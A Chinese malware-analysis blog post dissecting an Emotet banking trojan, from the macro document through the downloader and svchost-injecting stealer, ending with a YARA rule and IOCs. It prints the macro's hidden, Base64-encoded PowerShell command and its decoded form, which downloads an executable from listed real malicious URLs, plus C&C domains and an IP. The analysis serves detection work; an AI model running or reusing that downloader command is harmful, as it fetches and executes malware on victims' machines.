欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Emotet银行木马分析

程序员文章站 2024-03-22 08:37:04
...

前言

Emotet是现如今流行的银行木马之一,变种极多,使用的混淆器也各不相同。Emotet主要以垃圾邮件传播,邮件中的宏文档是被用作后续下载Emotet进行持久化攻击的Downloader。此文是以1月份获取的变种样本进行分析。

样本运行流程

Emotet银行木马分析

样本分析

宏文档分析

打开文档,文档中的图片诱导用户点击启动宏的按钮。

Emotet银行木马分析

进入VBA编辑器,可看到下图中展示的部分宏,所有的宏代码都已经被混淆,无法看出真正逻辑。

Emotet银行木马分析

动态调试宏代码,可通过下两图得知,宏代码的作用是启动wmi来执行一段powersehll脚本

Emotet银行木马分析

Emotet银行木马分析

其中powershell脚本内容,以隐藏方式执行一段base64加密的代码

Powershell -w hidden -en JABTAG8AbgBsAGYAbQB4AGYAZwBsAGcAPQAnAFgAeQB5AHMAbgBrAGkAdQB5AHgAbwAnADsAJABFAGMAegBhAGQAeAB2AGUAYwAgAD0AIAAnADIAOQA2ACcAOwAkAFoAegByAHIAegBlAGIAeQBzAGUAPQAnAFYAcAB5AGIAeAB4AHAAbQBkAGUAeQBkAHEAJwA7ACQATQB3AGIAZwBvAHIAaAByAHkAZgBoAG4AZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARQBjAHoAYQBkAHgAdgBlAGMAKwAnAC4AZQB4AGUAJwA7ACQAUwB1AHIAegBkAHgAZAB5AGcAcAB0AGgAPQAnAFkAZgB1AGYAbgBwAHMAdwB4AHoAJwA7ACQATAB2AGIAbwBqAG8AbAB4AHYAeABtAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcARQBiAGMAbABJAGUATgBUADsAJABGAHYAbwB2AGEAZABzAGgAaAB0AGIAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAGQAeQBrAHUAcgBuAGkAYQB3AGEAbgAuAGMAbwBtAC8AbQBwADMALwAxADgAbwB4ADYAaAAvACoAaAB0AHQAcAA6AC8ALwBtAHkAcABoAGEAbQB0AGgAYQBuAGgAYgBpAG4AaAAuAG4AZQB0AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHUAcABsAG8AYQBkAHMALwBxAEQAcQAvACoAaAB0AHQAcAA6AC8ALwBzAGYAbQBhAGMALgBiAGkAegAvAGMAYQBsAGUAbgBkAGEAcgAvAEsAMQBhAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AbQBqAG0AZQBjAGgAYQBuAGkAYwBhAGwALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAG

解密后

$Sonlfmxfglg='Xyysnkiuyxo';
$Eczadxvec='296';
$Zzrrzebyse='Vpybxxpmdeydq';
$Mwbgorhryfhne=$env:userprofile+'\'+$Eczadxvec+'.exe';
$Surzdxdygpth='Yfufnpswxz';
$Lvbojolxvxm=.('new-ob'+'j'+'ect')NEt.wEbclIeNT;
$Fvovadshhtbo='http://adykurniawan.com/mp3/18ox6h/*http://myphamthanhbinh.net/wp-content/uploads/qDq/*http://sfmac.biz/calendar/K1a/*http://www.mjmechanical.com/wp-includ

通过上述解密的代码可知,powershell脚本会遍历上述四个的恶意网址,然后从下载相应的恶意程序,并重命名为296.exe。

word启动宏后产生的进程树

Emotet银行木马分析

恶意downloader分析

样本上来会先获取所需的函数地址

Emotet银行木马分析

通过PEB获取dll的加载基址

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GcTk6yz6-1582849922985)(D:\项目\病毒分析\emotet银行木马分析\pic\获取dll加载基址.png)]

通过导出表获取函数地址,中间是一长串SendMessageA调用的混淆

Emotet银行木马分析

获取资源中的数据

Emotet银行木马分析

将从资源中获取的数据存放到申请的两块内存,并异或解密得到shellcode

Emotet银行木马分析

其中第一块内存中shellcode的主要作用是获取CryptoAPI 函数的地址,第二块内存通过HASH获取几个API函数的地址,进而申请第三块内存并填充数据,这个程序的逻辑都在第三块内存中。

第三块内存以上来调用一个函数将数组中的HASH计算存放到对应的内存地址上

Emotet银行木马分析

Emotet银行木马分析

下面才算整个程序的开始

对比命令行参数,如果对比不上就在启动一个带命令行参数的进程,然后退出当前进程

Emotet银行木马分析

Emotet银行木马分析

判断当前进程路径是否在系统目录下,如果在反汇eax

Emotet银行木马分析

如果不在,释放当前文件到系统目录,创建服务,启动进程,返回0

Emotet银行木马分析

HASH计算出远程服务器并下载文件

Emotet银行木马分析

Emotet银行木马分析

Emotet银行木马分析

写入文件并创建进程

Emotet银行木马分析

分析到这里可以发现,这个样本其实也是一个downloader,下面为真正的窃密程序

窃密程序分析

通过行为可以看到恶意程序运行后利用线程注入或傀儡进程技术创建系统程序,利用系统进程获取本机数据发送到远程服务器。

Emotet银行木马分析

查看文件资源信息,发现和downloader一样,代码形式也非常相似,可以判断这是用到了同一款混淆器对代码进行混淆。

Emotet银行木马分析

恶意程序使用同一款混淆器,前面的代码执行流程也相同,申请内存执行shellcode,然后在第三块内存中解密出关键逻辑代码。

通过不断异或加密解密后续数据

Emotet银行木马分析

创建svchost傀儡进程

Emotet银行木马分析

申请内存写入代码hook程序入口点

Emotet银行木马分析

入口点执行ret后会执行到内存地址0x6100,也就是恶意程序写入svchost进程的内存

Emotet银行木马分析

将恶意进程拷贝到系统目录下

Emotet银行木马分析

获取本机信息

Emotet银行木马分析

写入数据

Emotet银行木马分析

发送数据

Emotet银行木马分析

后续恶意程序还有有其他行为,在此就不一一分析了。

yara规则

由于恶意样本使用的是混淆器,所以加yara规则我一般喜欢加它的二进制代码,如下我找到混淆器中获取到处函数的汇编代码,将他们作为恶意程序的特征。

(当然实际中很多加壳器也会用到此类获取导出函数的方法,如果只加一条特征可能会造成误报,具体可按需求再寻找其他特征)

rule VirTool_Obfuscator_a
{
	meta:
		author = "0x17"
		samples = "d27590b402b475ae11a93f2976c2de595ab1eac9"
		samples = "3d40a6516172d4115be08dd03767526f4b24dce8"
	
    strings:
		/*
		8B 6C 24 ??        mov     ebp, [esp+10h+arg_0]
		8B 45 3C           mov     eax, [ebp+3Ch]
		56                 push    esi
		8B 35 ?? ?? ?? ??  mov     esi, ds:SendMessageA
		57                 push    edi
		8B 7C 28 78        mov     edi, [eax+ebp+78h]
		8B 5C 2F 1C        mov     ebx, [edi+ebp+1Ch]
		8B 4C 2F 18        mov     ecx, [edi+ebp+18h]
		6A 00              push    0               ; lParam
		03 FD              add     edi, ebp
		6A 02              push    2               ; wParam
		6A 06              push    6               ; Msg
		03 DD              add     ebx, ebp
		6A 00              push    0               ; hWnd
		89 4C 24 ??        mov     [esp+28h+arg_0], ecx
		89 5C 24 ??        mov     [esp+28h+var_8], ebx
		FF D6              call    esi ; SendMessageA
		*/
        $hex_string1 = { 8B 6C 24 ?? 8B 45 3C 56 8B 35 ?? ?? ?? ?? 57 8B 7C 28 78 8B 5C 2F 1C 8B 4C 2F 18 6A 00 03 FD 6A 02 6A 06 03 DD 6A 00 89 4C 24 ?? 89 5C 24 ?? FF D6 }
		/*
		03 48 3C   add  ecx, [eax+3Ch]
		89 4D ??   mov  [ebp+var_10], ecx
		8B 55 ??   mov  edx, [ebp+var_10]
		8B 45 ??   mov  eax, [ebp+arg_0]
		03 42 78   add  eax, [edx+78h]
		89 45 ??   mov  [ebp+var_8], eax
		8B 4D ??   mov  ecx, [ebp+var_8]
		8B 51 18   mov  edx, [ecx+18h]
		89 55 ??   mov  [ebp+var_4], edx
		8B 45 ??   mov  eax, [ebp+var_8]
		8B 4D ??   mov  ecx, [ebp+arg_0]
		03 48 1C   add  ecx, [eax+1Ch]
		89 4D ??   mov  [ebp+var_1C], ecx
		*/
        $hex_string2 = {03 48 3C 89 4D ?? 8B 55 ?? 8B 45 ?? 03 42 78 89 45 ?? 8B 4D ?? 8B 51 18 89 55 ?? 8B 45 ?? 8B 4D ?? 03 48 1C 89 4D ?? }
    condition:
        1 of them
}

yara引擎报出的两条记录

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dcdMiipv-1582849922996)(D:\项目\病毒分析\emotet银行木马分析\pic\yara命中.png)]

IOC

宏文档

SHA1:be9efb37ebba29888e1e6451cc6294bde8c30d04

恶意downloader

SHA1:d27590b402b475ae11a93f2976c2de595ab1eac9

窃密程序

SHA1:3d40a6516172d4115be08dd03767526f4b24dce8

C&C

adykurniawan.com

myphamthanhbinh.net

mjmechanical.com

100.6.23.40

相关标签: 病毒分析